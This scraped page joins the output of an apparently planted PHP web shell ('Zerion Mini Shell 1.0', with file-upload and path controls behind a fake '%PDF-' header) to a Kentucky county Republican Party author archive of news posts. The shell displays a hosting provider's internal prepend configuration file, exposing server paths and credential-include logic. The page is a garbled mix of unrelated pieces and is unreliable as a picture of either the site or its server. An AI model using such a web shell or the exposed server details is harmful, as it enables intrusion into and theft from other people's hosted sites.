%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /platform/misc/
Upload File :
Create Path :
Current File : //platform/misc/prepend-web.php

<?php

// Prevent loading this file *again* manually by plugins like AIO Security and Firewalls.
if (defined('WP_WPAAS_PREPENDED')) {
	return;
}

define('WP_WPAAS_PREPENDED', true);

// Cleans up the environment accounting for the chroot, also defines Pagely constants

// detect chroot and if so fix DOCUMENT_ROOT
if (__DIR__ == '/pagely' || __DIR__ == '/godaddy' || __DIR__ == '/platform/misc') {
    if (is_link('/httpdocs')) {
        // In this scenario we are always double symlinked and the final symlink is absolute, so realpath is better than readlink
        $httpdocsReal = realpath('/httpdocs');
        if ($httpdocsReal !== false) {
            $_SERVER['DOCUMENT_ROOT'] = $httpdocsReal . '/';
        }
    } else {
        $_SERVER['DOCUMENT_ROOT'] = '/httpdocs/';
    }
}

if (is_dir('/configs')) {
    define('PAGELYBIN', '/configs');
} else {
    define('PAGELYBIN', '/pagely');
}

// fix is_ssl detection
if (isset($_SERVER['HTTP_HTTPS'])) {
    $_SERVER['HTTPS'] = $_SERVER['HTTP_HTTPS'];
}

// wordpress config
define('DISABLE_WP_CRON', true);
define('AUTOSAVE_INTERVAL', 300);

if (!defined('WP_CRON_LOCK_TIMEOUT')) {
    define('WP_CRON_LOCK_TIMEOUT', 120);
}

// force disable timthumb webshot
define('WEBSHOT_ENABLED', false);

// PHP basic auth compat
if (!empty($_SERVER['REMOTE_AUTHORIZATION'])) {
    $d = base64_decode($_SERVER['REMOTE_AUTHORIZATION']);
    if ($d !== false) {
        [$_SERVER['PHP_AUTH_USER'], $_SERVER['PHP_AUTH_PW']] = explode(':', $d);
    }
}

// Authorization header compat
if (empty($_SERVER['HTTP_AUTHORIZATION']) && !empty($_SERVER['REDIRECT_HTTP_AUTHORIZATION'])) {
    $_SERVER['HTTP_AUTHORIZATION'] = $_SERVER['REDIRECT_HTTP_AUTHORIZATION'];
}

// Set file permissions using umask
define('FS_CHMOD_DIR', (0777 & ~umask()));
define('FS_CHMOD_FILE', (0666 & ~umask()));

// Remove cruft headers that confuse some plugins like ithemes better security
// REMOTE_ADDR has the correct ip
unset($_SERVER['HTTP_X_CLUSTER_CLIENT']);
unset($_SERVER['HTTP_X_CLUSTER_CLIENT_IP']);
unset($_SERVER['HTTP_X_FORWARDED_FOR']);

// fix the problem with returning the free disk space for the whole ceph storage
// it breaks some of the major WP migration plugins because the value is too large
if (version_compare(phpversion(), '8.0.0', '>=')) {
    // php version is high enough
    if (!function_exists('disk_free_space')) {
        function disk_free_space($directory)
        {
            // always return 30GB
            return 32212254720;
        }
    }
    // do the same thing for the alias function
    if (!function_exists('diskfreespace')) {
        function diskfreespace($directory)
        {
            return disk_free_space($directory);
        }
    }
}

// Before we include anything from the user, include our creds
if (file_exists(PAGELYBIN . '/config.php')) {
    include_once PAGELYBIN . '/config.php';
}

$user_setup = '/user/setup.php';
if (file_exists($user_setup)) {
    include_once $user_setup;
}

// Prepend logic related to htaccess file support in nginx-unit
if (getenv('HTACCESS_MERGE_CONFIG_DIR') !== false) {
    // The htaccess golang program in mgmt/golang/pkg/htaccess writes out a prepend file by name prepend-rewrites.php
    define('HTACCESS_PREPEND_FILE', getenv('HTACCESS_MERGE_CONFIG_DIR') . '/prepend-rewrites.php');
    if (file_exists(HTACCESS_PREPEND_FILE)) {
        include_once HTACCESS_PREPEND_FILE;
    }
}

Zerion Mini Shell 1.0
Sarah Provancher – Jefferson County Republican Party Skip to content
  • Home
  • About
    • News
  • Elected Officials
  • Monthly Meetings & Volunteer Opportunities
  • Voting Info 2026
  • Events
  • Gallery
  • Contact
  • Donate

SarahP

10 items

  • Election Night Victory Party! Nov. 3, 6-9pm

    All are Welcome! Free to Attend!

    Continue reading
  • Non-Partisan GOP Endorsed Candidates

    Continue reading
  • Jefferson County Republican Party Condemns Morgan McGarvey’s Repeated Failures to Denounce Socialism

      For the second time in less than a year, Morgan McGarvey voted against a straightforward resolution denouncing an ideology that has consistently resulted in oppression, economic devastation, and the erosion of individual liberties. By voting against HR 1490, McGarvey totally ignores the historic failures of socialist regimes, including the Soviet Union, Venezuela, and Cuba,

    Continue reading
  • Learn More About Lincoln Day Dinner Guest Speaker, Alina Fernández

    Continue reading
  • Congratulations to Jeff. Cty’s Republican Primary Election Winners

    Continue reading
  • Primary Election Voting Information

    Important Links to Vote in This Year’s Primary Where Can I Find a List of Republican Candidates in Jefferson County on This Year’s Ballot? Republican Candidates in 2026 Elections – Jefferson County Republican Party Where is My In-Person Voting Location? (May 19, 2026) Where Do I Vote? Where Can I Get an Absentee Ballot to

    Continue reading
  • Louisville GOP Hosts First Statewide Kentucky U.S. Senate Debate

    JCRP Hosts First Statewide Republican U.S. Senate Debate  The Jefferson County Republican Party (JCRP) hosted the first statewide Kentucky Republican U.S. Senate Debate on Monday, March 16 at 7pm. Candidates Andy Barr, Daniel Cameron and Nate Morris participated. The debate was moderated by WDRB Anchors Lindsey Allen and Gil Corsey, as well as WLEX Political

    Continue reading
  • Louisville Republicans are closer than ever to gaining a majority on Louisville Metro Council

    Louisville Republicans hope to gain Metro Council majority for the first time Louisville Public Media | By Roberto Roldan Published January 22, 2026 at 6:00 AM EST Louisville Republicans are hoping to flip three more seats on Metro Council in this year’s elections. If successful, it would put Republicans squarely in the majority on the legislative body

    Continue reading
  • Louisville GOP Honors Sen. Mitch McConnell

    JCRP was pleased to recognize the more than 50 years of service of Sen. Mitch McConnell to Louisville and the Commonwealth of Kentucky, as well as his service as Chairman of Jefferson County Republican Party in 1973-74. The honorary event took place at the Sons of the American Revolution HQ in early December in downtown

    Continue reading
  • Rep. Brett Guthrie to Speak at JCRP Lincoln Day Dinner

    Second Congressional District U.S. Rep Brett Guthrie has been confirmed as a speaker for the JCRP Lincoln Day Dinner on Wed., August 20. Rep. Guthrie will join Keynote Speaker, Riley Gaines, U.S. Senate Candidates from Kentucky, Rep. Andy Barr, Daniel Cameron and Nate Morris, as well as local Jefferson County leaders. Rep. Guthrie is Chairman

    Continue reading
Subscribe to Our Email List
(502) 584-7111
louisville_gop@icloud.com
© 2023 - 2026 • by ThemeFusion • All Rights Reserved • Powered by WordPress
Page load link
Go to Top